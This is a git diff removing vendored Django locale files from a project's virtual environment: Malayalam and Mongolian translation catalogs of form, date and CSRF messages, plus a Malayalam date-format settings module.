"Enter a valid duration." -msgstr "സാധുതയുള്ള കാലയളവ് നല്കുക." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "ദിവസങ്ങളുടെ എണ്ണം {min_days}, {max_days} എന്നിവയുടെ ഇടയിലായിരിക്കണം." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "ഫയലൊന്നും ലഭിച്ചിട്ടില്ല. ഫോമിലെ എന്‍-കോഡിംഗ് പരിശോധിക്കുക." - -msgid "No file was submitted." -msgstr "ഫയലൊന്നും ലഭിച്ചിട്ടില്ല." - -msgid "The submitted file is empty." -msgstr "ലഭിച്ച ഫയല്‍ ശൂന്യമാണ്." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"ഈ ഫയൽ നെയ്മിൽ%(max)dക്യാരക്ടറിൽ കൂടുതലില്ല എന്ന് ഉറപ്പു വരുത്തുക (അതിൽ %(length)dഉണ്ട്) . " -msgstr[1] "" -"ഈ ഫയൽ നെയ്മിൽ%(max)dക്യാരക്ടേഴ്‌സിൽ കൂടുതലില്ല എന്ന് ഉറപ്പു വരുത്തുക (അതിൽ %(length)dഉണ്ട്)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" -"ഒന്നുകില്‍ ഫയല്‍ സമര്‍പ്പിക്കണം, അല്ലെങ്കില്‍ ക്ളിയര്‍ എന്ന ചെക്ബോക്സ് ടിക് ചെയ്യണം. ദയവായി രണ്ടും " -"കൂടി ചെയ്യരുത്." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"ശരിയായ ചിത്രം അപ് ലോഡ് ചെയ്യുക. നിങ്ങള്‍ നല്കിയ ഫയല്‍ ഒന്നുകില്‍ ഒരു ചിത്രമല്ല, അല്ലെങ്കില്‍ " -"വികലമാണ്." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "യോഗ്യമായത് തെരഞ്ഞെടുക്കുക. %(value)s ലഭ്യമായവയില്‍ ഉള്‍പ്പെടുന്നില്ല." - -msgid "Enter a list of values." -msgstr "മൂല്യങ്ങളുടെ പട്ടിക(ലിസ്റ്റ്) നല്കുക." - -msgid "Enter a complete value." -msgstr "പൂർണ്ണമായ വാല്യൂ നല്കുക." - -msgid "Enter a valid UUID." -msgstr "സാധുവായ യു യു ഐ ഡി നല്കുക." - -msgid "Enter a valid JSON." -msgstr "" - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(ഹിഡൻ ഫീൽഡ് %(name)s)%(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" - -#, python-format -msgid "Please submit at most %d form." -msgid_plural "Please submit at most %d forms." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "Please submit at least %d form." -msgid_plural "Please submit at least %d forms." -msgstr[0] "" -msgstr[1] "" - -msgid "Order" -msgstr "ക്രമം" - -msgid "Delete" -msgstr "ഡിലീറ്റ്" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "%(field)s-നായി നല്കുന്ന വിവരം ആവര്‍ത്തിച്ചത് ദയവായി തിരുത്തുക." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "%(field)s-നായി നല്കുന്ന വിവരം ആവര്‍ത്തിക്കാന്‍ പാടില്ല. ദയവായി തിരുത്തുക." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"%(date_field)s ലെ %(lookup)s നു വേണ്ടി %(field_name)s നു നല്കുന്ന വിവരം ആവര്‍ത്തിക്കാന്‍ " -"പാടില്ല. ദയവായി തിരുത്തുക." - -msgid "Please correct the duplicate values below." -msgstr "താഴെ കൊടുത്തവയില്‍ ആവര്‍ത്തനം ഒഴിവാക്കുക." - -msgid "The inline value did not match the parent instance." -msgstr "ഇൻലൈൻ വാല്യൂ, പാരെന്റ് ഇൻസ്റ്റൻസുമായി ചേരുന്നില്ല." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "യോഗ്യമായത് തെരഞ്ഞെടുക്കുക. നിങ്ങള്‍ നല്കിയത് ലഭ്യമായവയില്‍ ഉള്‍പ്പെടുന്നില്ല." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "" - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" - -msgid "Clear" -msgstr "കാലിയാക്കുക" - -msgid "Currently" -msgstr "നിലവിലുള്ളത്" - -msgid "Change" -msgstr "മാറ്റുക" - -msgid "Unknown" -msgstr "അജ്ഞാതം" - -msgid "Yes" -msgstr "അതെ" - -msgid "No" -msgstr "അല്ല" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "ഉണ്ട്,ഇല്ല,ഉണ്ടായേക്കാം" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d ബൈറ്റ്" -msgstr[1] "%(size)d ബൈറ്റുകള്‍" - -#, python-format -msgid "%s KB" -msgstr "%s കെ.ബി" - -#, python-format -msgid "%s MB" -msgstr "%s എം.ബി" - -#, python-format -msgid "%s GB" -msgstr "%s ജി.ബി" - -#, python-format -msgid "%s TB" -msgstr "%s ടി.ബി" - -#, python-format -msgid "%s PB" -msgstr "%s പി.ബി" - -msgid "p.m." -msgstr "പി. എം (ഉച്ചയ്ക്കു ശേഷം) " - -msgid "a.m." -msgstr "എ. എം (ഉച്ചയ്ക്കു മുമ്പ്)" - -msgid "PM" -msgstr "പി. എം (ഉച്ചയ്ക്കു ശേഷം) " - -msgid "AM" -msgstr "എ. എം (ഉച്ചയ്ക്കു മുമ്പ്)" - -msgid "midnight" -msgstr "അര്‍ധരാത്രി" - -msgid "noon" -msgstr "ഉച്ച" - -msgid "Monday" -msgstr "തിങ്കളാഴ്ച" - -msgid "Tuesday" -msgstr "ചൊവ്വാഴ്ച" - -msgid "Wednesday" -msgstr "ബുധനാഴ്ച" - -msgid "Thursday" -msgstr "വ്യാഴാഴ്ച" - -msgid "Friday" -msgstr "വെള്ളിയാഴ്ച" - -msgid "Saturday" -msgstr "ശനിയാഴ്ച" - -msgid "Sunday" -msgstr "ഞായറാഴ്ച" - -msgid "Mon" -msgstr "തിങ്കള്‍" - -msgid "Tue" -msgstr "ചൊവ്വ" - -msgid "Wed" -msgstr "ബുധന്‍" - -msgid "Thu" -msgstr "വ്യാഴം" - -msgid "Fri" -msgstr "വെള്ളി" - -msgid "Sat" -msgstr "ശനി" - -msgid "Sun" -msgstr "ഞായര്‍" - -msgid "January" -msgstr "ജനുവരി" - -msgid "February" -msgstr "ഫെബ്രുവരി" - -msgid "March" -msgstr "മാര്‍ച്ച്" - -msgid "April" -msgstr "ഏപ്രില്‍" - -msgid "May" -msgstr "മേയ്" - -msgid "June" -msgstr "ജൂണ്‍" - -msgid "July" -msgstr "ജൂലൈ" - -msgid "August" -msgstr "ആഗസ്ത്" - -msgid "September" -msgstr "സെപ്തംബര്‍" - -msgid "October" -msgstr "ഒക്ടോബര്‍" - -msgid "November" -msgstr "നവംബര്‍" - -msgid "December" -msgstr "ഡിസംബര്‍" - -msgid "jan" -msgstr "ജനു." - -msgid "feb" -msgstr "ഫെബ്രു." - -msgid "mar" -msgstr "മാര്‍ച്ച്" - -msgid "apr" -msgstr "ഏപ്രില്‍" - -msgid "may" -msgstr "മേയ്" - -msgid "jun" -msgstr "ജൂണ്‍" - -msgid "jul" -msgstr "ജൂലൈ" - -msgid "aug" -msgstr "ആഗസ്ത്" - -msgid "sep" -msgstr "സെപ്ടം." - -msgid "oct" -msgstr "ഒക്ടോ." - -msgid "nov" -msgstr "നവം." - -msgid "dec" -msgstr "ഡിസം." - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "ജനു." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "ഫെബ്രു." - -msgctxt "abbrev. month" -msgid "March" -msgstr "മാര്‍ച്ച്" - -msgctxt "abbrev. month" -msgid "April" -msgstr "ഏപ്രില്‍" - -msgctxt "abbrev. month" -msgid "May" -msgstr "മേയ്" - -msgctxt "abbrev. month" -msgid "June" -msgstr "ജൂണ്‍" - -msgctxt "abbrev. month" -msgid "July" -msgstr "ജൂലൈ" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "ആഗ." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "സെപ്തം." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "ഒക്ടോ." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "നവം." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "ഡിസം." - -msgctxt "alt. month" -msgid "January" -msgstr "ജനുവരി" - -msgctxt "alt. month" -msgid "February" -msgstr "ഫെബ്രുവരി" - -msgctxt "alt. month" -msgid "March" -msgstr "മാര്‍ച്ച്" - -msgctxt "alt. month" -msgid "April" -msgstr "ഏപ്രില്‍" - -msgctxt "alt. month" -msgid "May" -msgstr "മേയ്" - -msgctxt "alt. month" -msgid "June" -msgstr "ജൂണ്‍" - -msgctxt "alt. month" -msgid "July" -msgstr "ജൂലൈ" - -msgctxt "alt. month" -msgid "August" -msgstr "ആഗസ്ത്" - -msgctxt "alt. month" -msgid "September" -msgstr "സെപ്തംബര്‍" - -msgctxt "alt. month" -msgid "October" -msgstr "ഒക്ടോബര്‍" - -msgctxt "alt. month" -msgid "November" -msgstr "നവംബര്‍" - -msgctxt "alt. month" -msgid "December" -msgstr "ഡിസംബര്‍" - -msgid "This is not a valid IPv6 address." -msgstr "ഇതു സാധുവായ IPv6 വിലാസമല്ല." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "അഥവാ" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "" -msgstr[1] "" - -msgid "Forbidden" -msgstr "വിലക്കപ്പെട്ടത്" - -msgid "CSRF verification failed. Request aborted." -msgstr "സി എസ് ആർ എഫ് പരിശോധന പരാജയപ്പെട്ടു. റിക്വെസ്റ്റ് റദ്ദാക്കി." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"ഫോം സമർപ്പിക്കുമ്പോൾ ഒരു CSRF കുക്കി ഈ സൈറ്റിൽ ആവശ്യമാണ് എന്നതിനാലാണ് നിങ്ങൾ ഈ സന്ദേശം " -"കാണുന്നത്. മറ്റുള്ളവരാരെങ്കിലും നിങ്ങളുടെ ബ്രൗസറിനെ നിയന്ത്രിക്കുന്നില്ല എന്ന് ഉറപ്പുവരുത്താനായി ഈ " -"കുക്കി ആവശ്യമാണ്. " - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" - -msgid "More information is available with DEBUG=True." -msgstr "Debug=True എന്നു കൊടുത്താൽ കൂടുതൽ കാര്യങ്ങൾ അറിയാൻ കഴിയും." - -msgid "No year specified" -msgstr "വര്‍ഷം പരാമര്‍ശിച്ചിട്ടില്ല" - -msgid "Date out of range" -msgstr "ഡാറ്റ പരിധിയുടെ പുറത്താണ്" - -msgid "No month specified" -msgstr "മാസം പരാമര്‍ശിച്ചിട്ടില്ല" - -msgid "No day specified" -msgstr "ദിവസം പരാമര്‍ശിച്ചിട്ടില്ല" - -msgid "No week specified" -msgstr "ആഴ്ച പരാമര്‍ശിച്ചിട്ടില്ല" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "%(verbose_name_plural)s ഒന്നും ലഭ്യമല്ല" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"%(class_name)s.allow_future ന് False എന്നു നല്കിയിട്ടുള്ളതിനാല്‍ Future " -"%(verbose_name_plural)s ഒന്നും ലഭ്യമല്ല." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "ചോദ്യത്തിനു ചേരുന്ന് %(verbose_name)s ഇല്ല" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" - -msgid "Directory indexes are not allowed here." -msgstr "ഡയറക്ടറി സൂചികകള്‍ ഇവിടെ അനുവദനീയമല്ല." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "" - -#, python-format -msgid "Index of %(directory)s" -msgstr "%(directory)s യുടെ സൂചിക" - -msgid "The install worked successfully! Congratulations!" -msgstr "ഇൻസ്ടാൾ ഭംഗിയായി നടന്നു! അഭിനന്ദനങ്ങൾ !" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not configured any " -"URLs." -msgstr "" - -msgid "Django Documentation" -msgstr "ജാംഗോ ഡോക്യുമെന്റേഷൻ" - -msgid "Topics, references, & how-to’s" -msgstr "" - -msgid "Tutorial: A Polling App" -msgstr "പരിശീലനം: ഒരു പോളിങ്ങ് ആപ്പ്" - -msgid "Get started with Django" -msgstr "ജാംഗോയുമായി പരിചയത്തിലാവുക" - -msgid "Django Community" -msgstr "ജാംഗോ കമ്യൂണിറ്റി" - -msgid "Connect, get help, or contribute" -msgstr "കൂട്ടുകൂടൂ, സഹായം തേടൂ, അല്ലെങ്കിൽ സഹകരിക്കൂ" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ml/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/ml/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ml/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/ml/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index f5390139..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ml/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ml/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/ml/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 1fcbdc38..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ml/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ml/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/ml/formats.py deleted file mode 100644 index b1ca2ee8..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/ml/formats.py +++ /dev/null @@ -1,43 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "N j, Y" -TIME_FORMAT = "P" -DATETIME_FORMAT = "N j, Y, P" -YEAR_MONTH_FORMAT = "F Y" -MONTH_DAY_FORMAT = "F j" -SHORT_DATE_FORMAT = "m/d/Y" -SHORT_DATETIME_FORMAT = "m/d/Y P" -FIRST_DAY_OF_WEEK = 0 # Sunday - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -# Kept ISO formats as they are in first position -DATE_INPUT_FORMATS = [ - "%Y-%m-%d", # '2006-10-25' - "%m/%d/%Y", # '10/25/2006' - "%m/%d/%y", # '10/25/06' - # "%b %d %Y", # 'Oct 25 2006' - # "%b %d, %Y", # 'Oct 25, 2006' - # "%d %b %Y", # '25 Oct 2006' - # "%d %b, %Y", # '25 Oct, 2006' - # "%B %d %Y", # 'October 25 2006' - # "%B %d, %Y", # 'October 25, 2006' - # "%d %B %Y", # '25 October 2006' - # "%d %B, %Y", # '25 October, 2006' -] -DATETIME_INPUT_FORMATS = [ - "%Y-%m-%d %H:%M:%S", # '2006-10-25 14:30:59' - "%Y-%m-%d %H:%M:%S.%f", # '2006-10-25 14:30:59.000200' - "%Y-%m-%d %H:%M", # '2006-10-25 14:30' - "%m/%d/%Y %H:%M:%S", # '10/25/2006 14:30:59' - "%m/%d/%Y %H:%M:%S.%f", # '10/25/2006 14:30:59.000200' - "%m/%d/%Y %H:%M", # '10/25/2006 14:30' - "%m/%d/%y %H:%M:%S", # '10/25/06 14:30:59' - "%m/%d/%y %H:%M:%S.%f", # '10/25/06 14:30:59.000200' - "%m/%d/%y %H:%M", # '10/25/06 14:30' -] -DECIMAL_SEPARATOR = "." -THOUSAND_SEPARATOR = "," -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/mn/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/mn/LC_MESSAGES/django.mo deleted file mode 100644 index c35a525c..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/mn/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/mn/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/mn/LC_MESSAGES/django.po deleted file mode 100644 index 47479f8f..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/mn/LC_MESSAGES/django.po +++ /dev/null @@ -1,1345 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Ankhbayar , 2013 -# Bayarkhuu Bataa, 2014,2017-2018 -# Baskhuu Lodoikhuu , 2011 -# Jannis Leidel , 2011 -# jargalan , 2011 -# Tsolmon , 2011 -# Turmunkh Batkhuyag, 2023 -# Zorig, 2013-2014,2016,2018 -# Zorig, 2019 -# Анхбаяр Анхаа , 2013-2016,2018-2019 -# Баясгалан Цэвлээ , 2011,2015,2017 -# Ганзориг БП , 2011 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2023-09-18 11:41-0300\n" -"PO-Revision-Date: 2023-12-25 06:49+0000\n" -"Last-Translator: Turmunkh Batkhuyag, 2023\n" -"Language-Team: Mongolian (http://app.transifex.com/django/django/language/" -"mn/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: mn\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -msgid "Afrikaans" -msgstr "Африк" - -msgid "Arabic" -msgstr "Араб" - -msgid "Algerian Arabic" -msgstr "Алжир Араб" - -msgid "Asturian" -msgstr "Астури" - -msgid "Azerbaijani" -msgstr "Азербажан" - -msgid "Bulgarian" -msgstr "Болгар" - -msgid "Belarusian" -msgstr "Беларус" - -msgid "Bengali" -msgstr "Бенгал" - -msgid "Breton" -msgstr "Бэрэйтон " - -msgid "Bosnian" -msgstr "Босни" - -msgid "Catalan" -msgstr "Каталан" - -msgid "Central Kurdish (Sorani)" -msgstr "Төв Курд (Сорани)" - -msgid "Czech" -msgstr "Чех" - -msgid "Welsh" -msgstr "Уэльс" - -msgid "Danish" -msgstr "Дани" - -msgid "German" -msgstr "Герман" - -msgid "Lower Sorbian" -msgstr "Доод Сорбин" - -msgid "Greek" -msgstr "Грек" - -msgid "English" -msgstr "Англи" - -msgid "Australian English" -msgstr "Австрали Англи" - -msgid "British English" -msgstr "Британи Англи" - -msgid "Esperanto" -msgstr "Эсперанто" - -msgid "Spanish" -msgstr "Испани" - -msgid "Argentinian Spanish" -msgstr "Аргентинийн Испани" - -msgid "Colombian Spanish" -msgstr "Колумбийн Испаниар" - -msgid "Mexican Spanish" -msgstr "Мексикийн Испани" - -msgid "Nicaraguan Spanish" -msgstr "Никрагуан Испани" - -msgid "Venezuelan Spanish" -msgstr "Венесуэлийн Спани" - -msgid "Estonian" -msgstr "Эстони" - -msgid "Basque" -msgstr "Баск" - -msgid "Persian" -msgstr "Перс" - -msgid "Finnish" -msgstr "Финлянд" - -msgid "French" -msgstr "Франц" - -msgid "Frisian" -msgstr "Фриз" - -msgid "Irish" -msgstr "Ирланд" - -msgid "Scottish Gaelic" -msgstr "Шотландийн Гаелик" - -msgid "Galician" -msgstr "Галици" - -msgid "Hebrew" -msgstr "Еврэй" - -msgid "Hindi" -msgstr "Хинди" - -msgid "Croatian" -msgstr "Хорват" - -msgid "Upper Sorbian" -msgstr "Дээд Сорбин" - -msgid "Hungarian" -msgstr "Унгар" - -msgid "Armenian" -msgstr "Армен" - -msgid "Interlingua" -msgstr "Interlingua" - -msgid "Indonesian" -msgstr "Индонези" - -msgid "Igbo" -msgstr "Игбо" - -msgid "Ido" -msgstr "Идо" - -msgid "Icelandic" -msgstr "Исланд" - -msgid "Italian" -msgstr "Итали" - -msgid "Japanese" -msgstr "Япон" - -msgid "Georgian" -msgstr "Гүрж" - -msgid "Kabyle" -msgstr "Кабилэ" - -msgid "Kazakh" -msgstr "Казак" - -msgid "Khmer" -msgstr "Кхмер" - -msgid "Kannada" -msgstr "Канад" - -msgid "Korean" -msgstr "Солонгос" - -msgid "Kyrgyz" -msgstr "Киргиз" - -msgid "Luxembourgish" -msgstr "Лүксенбүргиш" - -msgid "Lithuanian" -msgstr "Литва" - -msgid "Latvian" -msgstr "Латви" - -msgid "Macedonian" -msgstr "Македон" - -msgid "Malayalam" -msgstr "Малайз" - -msgid "Mongolian" -msgstr "Монгол" - -msgid "Marathi" -msgstr "маратхи" - -msgid "Malay" -msgstr "Малай" - -msgid "Burmese" -msgstr "Бирм" - -msgid "Norwegian Bokmål" -msgstr "Норвеги Бокмал" - -msgid "Nepali" -msgstr "Непал" - -msgid "Dutch" -msgstr "Голланд" - -msgid "Norwegian Nynorsk" -msgstr "Норвегийн нюнорск" - -msgid "Ossetic" -msgstr "Оссетик" - -msgid "Punjabi" -msgstr "Панжаби" - -msgid "Polish" -msgstr "Польш" - -msgid "Portuguese" -msgstr "Португал" - -msgid "Brazilian Portuguese" -msgstr "Бразилийн Португали" - -msgid "Romanian" -msgstr "Румын" - -msgid "Russian" -msgstr "Орос" - -msgid "Slovak" -msgstr "Словак" - -msgid "Slovenian" -msgstr "Словен" - -msgid "Albanian" -msgstr "Альбани" - -msgid "Serbian" -msgstr "Серби" - -msgid "Serbian Latin" -msgstr "Серби латин" - -msgid "Swedish" -msgstr "Щвед" - -msgid "Swahili" -msgstr "Савахил" - -msgid "Tamil" -msgstr "Тамил" - -msgid "Telugu" -msgstr "Тэлүгү" - -msgid "Tajik" -msgstr "Тажик" - -msgid "Thai" -msgstr "Тайланд" - -msgid "Turkmen" -msgstr "Турк хүн" - -msgid "Turkish" -msgstr "Турк" - -msgid "Tatar" -msgstr "Татар" - -msgid "Udmurt" -msgstr "Удмурт" - -msgid "Uyghur" -msgstr "Уйгур" - -msgid "Ukrainian" -msgstr "Украйн" - -msgid "Urdu" -msgstr "Урду" - -msgid "Uzbek" -msgstr "Узбек" - -msgid "Vietnamese" -msgstr "Вьетнам" - -msgid "Simplified Chinese" -msgstr "Хятад (хялбаршуулсан) " - -msgid "Traditional Chinese" -msgstr "Хятад (уламжлалт)" - -msgid "Messages" -msgstr "Мэдээллүүд" - -msgid "Site Maps" -msgstr "Сайтын бүтэц" - -msgid "Static Files" -msgstr "Статик файлууд" - -msgid "Syndication" -msgstr "Нэгтгэл" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "…" - -msgid "That page number is not an integer" -msgstr "Хуудасны дугаар бүхэл тоо / Integer / биш байна" - -msgid "That page number is less than 1" -msgstr "Хуудасны дугаар 1-ээс байга байна" - -msgid "That page contains no results" -msgstr "Хуудас үр дүн агуулаагүй байна" - -msgid "Enter a valid value." -msgstr "Зөв утга оруулна уу." - -msgid "Enter a valid URL." -msgstr "Зөв, хүчинтэй хаяг (URL) оруулна уу." - -msgid "Enter a valid integer." -msgstr "Бүхэл тоо оруулна уу" - -msgid "Enter a valid email address." -msgstr "Зөв имэйл хаяг оруулна уу" - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"Үсэг, тоо, доогуур зураас эсвэл зурааснаас бүрдсэн хүчинтэй \"slug\" оруулна " -"уу." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"Юникод үсэг, тоо, доогуур зураас, зурааснаас бүрдсэн хүчинтэй \"slug\" " -"оруулна уу." - -msgid "Enter a valid IPv4 address." -msgstr "Зөв IPv4 хаяг оруулна уу. " - -msgid "Enter a valid IPv6 address." -msgstr "Зөв IPv6 хаяг оруулна уу." - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "Зөв IPv4 эсвэл IPv6 хаяг оруулна уу." - -msgid "Enter only digits separated by commas." -msgstr "Зөвхөн таслалаар тусгаарлагдсан цифр оруулна уу." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" -"Энэ утга хамгийн ихдээ %(limit_value)s байх ёстой. (одоо %(show_value)s " -"байна)" - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Энэ утга %(limit_value)s -с бага эсвэл тэнцүү байх ёстой." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Энэ утга %(limit_value)s -с их эсвэл тэнцүү байх нөхцлийг хангана уу." - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "" -"Утга нь алхамын хэмжээнд %(limit_value)s-ээс олон байхыг " -"баталгаажуулна уу." - -#, python-format -msgid "" -"Ensure this value is a multiple of step size %(limit_value)s, starting from " -"%(offset)s, e.g. %(offset)s, %(valid_value1)s, %(valid_value2)s, and so on." -msgstr "" -"Энэ утга нь алхмын хэмжээнд %(limit_value)s, %(offset)s-с эхлэн %(offset)s, " -"%(valid_value1)s, %(valid_value2)s гэх мэт утга байхыг баталгаажуулна уу." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Хамгийн ихдээ %(limit_value)d тэмдэгт байх нөхцлийг хангана уу. " -"(%(show_value)d-ийн дагуу)" -msgstr[1] "" -"Хамгийн ихдээ %(limit_value)d тэмдэгт байх нөхцлийг хангана уу. " -"(%(show_value)d-ийн дагуу)" - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[1] "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." - -msgid "Enter a number." -msgstr "Тоон утга оруулна уу." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "%(max)s -ээс ихгүй утга оруулна уу " -msgstr[1] "%(max)s -ээс ихгүй утга оруулна уу " - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Энд %(max)s -аас олонгүй бутархайн орон байх ёстой. " -msgstr[1] "Энд %(max)s -аас олонгүй бутархайн орон байх ёстой. " - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "Энд бутархайн таслалаас өмнө %(max)s-аас олонгүй цифр байх ёстой." -msgstr[1] "Энд бутархайн таслалаас өмнө %(max)s-аас олонгүй цифр байх ёстой." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"Файлын өргөтгөл “%(extension)s” зөвшөөрөгдөөгүй байна. Боломжит өргөтгөлүүд: " -"%(allowed_extensions)s." - -msgid "Null characters are not allowed." -msgstr "Хоосон тэмдэгт зөвшөөрөгдөхгүй." - -msgid "and" -msgstr "ба" - -#, python-format -msgid "%(model_name)s with this 